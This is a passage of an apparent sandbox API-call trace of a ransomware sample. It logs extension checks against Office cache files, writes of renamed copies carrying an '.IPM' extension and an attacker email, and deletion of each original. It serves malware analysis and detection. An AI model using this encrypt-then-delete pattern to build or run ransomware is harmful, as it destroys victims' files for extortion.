lpString2="f.xml") returned -1 [0071.625] lstrlenW (lpString=".ppt") returned 4 [0071.625] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0071.626] lstrlenW (lpString=".zip") returned 4 [0071.626] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.626] lstrlenW (lpString=".rar") returned 4 [0071.626] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.626] lstrlenW (lpString=".bz2") returned 4 [0071.626] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.626] lstrlenW (lpString=".7z") returned 3 [0071.626] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0071.626] lstrlenW (lpString=".dbf") returned 4 [0071.626] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0071.626] lstrlenW (lpString=".1cd") returned 4 [0071.626] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0071.626] lstrlenW (lpString=".jpg") returned 4 [0071.626] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0071.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0071.627] lstrlenW (lpString=".doc") returned 4 [0071.627] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.627] lstrlenW (lpString=".docx") returned 5 [0071.627] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0071.627] lstrlenW (lpString=".pdf") returned 4 [0071.627] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.627] lstrlenW (lpString=".xls") returned 4 [0071.627] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.627] lstrlenW (lpString=".xlsx") returned 5 [0071.627] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0071.627] lstrlenW (lpString=".ppt") returned 4 [0071.627] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0071.627] lstrlenW (lpString=".zip") returned 4 [0071.627] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.628] lstrlenW (lpString=".rar") returned 4 [0071.628] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.628] lstrlenW (lpString=".bz2") returned 4 [0071.628] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.628] lstrlenW (lpString=".7z") returned 3 [0071.628] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0071.628] lstrlenW (lpString=".dbf") returned 4 [0071.628] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0071.628] lstrlenW (lpString=".1cd") returned 4 [0071.628] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0071.628] lstrlenW (lpString=".jpg") returned 4 [0071.628] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.629] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0071.629] lstrlenW (lpString="Setup.xml") returned 9 [0071.629] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0071.629] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=5884) returned 1 [0071.629] CloseHandle (hObject=0x1d0) returned 1 [0071.630] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0071.630] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0071.630] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0071.630] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.630] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.630] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0071.631] GetLastError () returned 0x0 [0071.631] ReadFile (in: hFile=0x1d0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x16fc, lpOverlapped=0x0) returned 1 [0072.320] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0072.322] ReadFile (in: hFile=0x1d0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.322] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0072.322] SetEndOfFile (hFile=0x1d4) returned 1 [0072.322] CloseHandle (hObject=0x1d4) returned 1 [0072.323] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.323] SetEndOfFile (hFile=0x1d0) returned 1 [0072.325] CloseHandle (hObject=0x1d0) returned 1 [0072.325] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0072.326] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0072.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.326] lstrlenW (lpString=".doc") returned 4 [0072.326] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.326] lstrlenW (lpString=".docx") returned 5 [0072.326] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0072.326] lstrlenW (lpString=".pdf") returned 4 [0072.326] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.326] lstrlenW (lpString=".xls") returned 4 [0072.326] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.326] lstrlenW (lpString=".xlsx") returned 5 [0072.326] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0072.327] lstrlenW (lpString=".ppt") returned 4 [0072.327] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.327] lstrlenW (lpString=".zip") returned 4 [0072.327] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.327] lstrlenW (lpString=".rar") returned 4 [0072.327] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.327] lstrlenW (lpString=".bz2") returned 4 [0072.327] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.327] lstrlenW (lpString=".7z") returned 3 [0072.327] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.327] lstrlenW (lpString=".dbf") returned 4 [0072.327] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.327] lstrlenW (lpString=".1cd") returned 4 [0072.327] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.327] lstrlenW (lpString=".jpg") returned 4 [0072.327] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.328] lstrlenW (lpString=".doc") returned 4 [0072.328] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.328] lstrlenW (lpString=".docx") returned 5 [0072.328] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0072.328] lstrlenW (lpString=".pdf") returned 4 [0072.328] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.328] lstrlenW (lpString=".xls") returned 4 [0072.328] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.328] lstrlenW (lpString=".xlsx") returned 5 [0072.328] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0072.328] lstrlenW (lpString=".ppt") returned 4 [0072.328] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.328] lstrlenW (lpString=".zip") returned 4 [0072.328] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.329] lstrlenW (lpString=".rar") returned 4 [0072.329] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.329] lstrlenW (lpString=".bz2") returned 4 [0072.329] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.329] lstrlenW (lpString=".7z") returned 3 [0072.329] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.329] lstrlenW (lpString=".dbf") returned 4 [0072.329] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.329] lstrlenW (lpString=".1cd") returned 4 [0072.329] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.329] lstrlenW (lpString=".jpg") returned 4 [0072.329] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.330] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0072.330] lstrlenW (lpString="Setup.xml") returned 9 [0072.330] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0072.331] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1852) returned 1 [0072.331] CloseHandle (hObject=0x1d0) returned 1 [0072.331] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0072.331] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0072.331] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0072.331] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.331] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.332] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0072.332] GetLastError () returned 0x0 [0072.332] ReadFile (in: hFile=0x1d0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x73c, lpOverlapped=0x0) returned 1 [0072.342] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x740, lpOverlapped=0x0) returned 1 [0072.344] ReadFile (in: hFile=0x1d0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.350] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0072.350] SetEndOfFile (hFile=0x1d4) returned 1 [0072.351] CloseHandle (hObject=0x1d4) returned 1 [0072.352] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.787] SetEndOfFile (hFile=0x1d0) returned 1 [0072.803] CloseHandle (hObject=0x1d0) returned 1 [0072.803] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0072.803] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0072.804] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.804] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.804] lstrlenW (lpString=".doc") returned 4 [0072.804] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.804] lstrlenW (lpString=".docx") returned 5 [0072.804] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0072.804] lstrlenW (lpString=".pdf") returned 4 [0072.804] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.804] lstrlenW (lpString=".xls") returned 4 [0072.804] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.804] lstrlenW (lpString=".xlsx") returned 5 [0072.804] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0072.804] lstrlenW (lpString=".ppt") returned 4 [0072.805] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.805] lstrlenW (lpString=".zip") returned 4 [0072.805] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.805] lstrlenW (lpString=".rar") returned 4 [0072.805] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.805] lstrlenW (lpString=".bz2") returned 4 [0072.805] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.805] lstrlenW (lpString=".7z") returned 3 [0072.805] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.805] lstrlenW (lpString=".dbf") returned 4 [0072.805] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.805] lstrlenW (lpString=".1cd") returned 4 [0072.805] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.805] lstrlenW (lpString=".jpg") returned 4 [0072.805] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.806] lstrlenW (lpString=".doc") returned 4 [0072.806] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.806] lstrlenW (lpString=".docx") returned 5 [0072.806] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0072.806] lstrlenW (lpString=".pdf") returned 4 [0072.806] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.806] lstrlenW (lpString=".xls") returned 4 [0072.806] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.806] lstrlenW (lpString=".xlsx") returned 5 [0072.806] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0072.806] lstrlenW (lpString=".ppt") returned 4 [0072.806] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.806] lstrlenW (lpString=".zip") returned 4 [0072.807] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.807] lstrlenW (lpString=".rar") returned 4 [0072.807] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.807] lstrlenW (lpString=".bz2") returned 4 [0072.807] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.807] lstrlenW (lpString=".7z") returned 3 [0072.807] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.807] lstrlenW (lpString=".dbf") returned 4 [0072.807] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.807] lstrlenW (lpString=".1cd") returned 4 [0072.807] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.807] lstrlenW (lpString=".jpg") returned 4 [0072.807] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.808] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0072.808] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0072.808] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0073.183] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1452) returned 1 [0073.183] CloseHandle (hObject=0x200) returned 1 [0073.183] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0073.183] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0073.183] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0073.183] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.183] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.184] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0073.184] GetLastError () returned 0x0 [0073.184] ReadFile (in: hFile=0x200, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0073.431] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0073.433] ReadFile (in: hFile=0x200, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0073.433] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0073.433] SetEndOfFile (hFile=0x204) returned 1 [0073.433] CloseHandle (hObject=0x204) returned 1 [0073.436] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.436] SetEndOfFile (hFile=0x200) returned 1 [0073.437] CloseHandle (hObject=0x200) returned 1 [0073.438] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0073.438] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1 [0073.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0073.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0073.439] lstrlenW (lpString=".doc") returned 4 [0073.439] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.439] lstrlenW (lpString=".docx") returned 5 [0073.439] 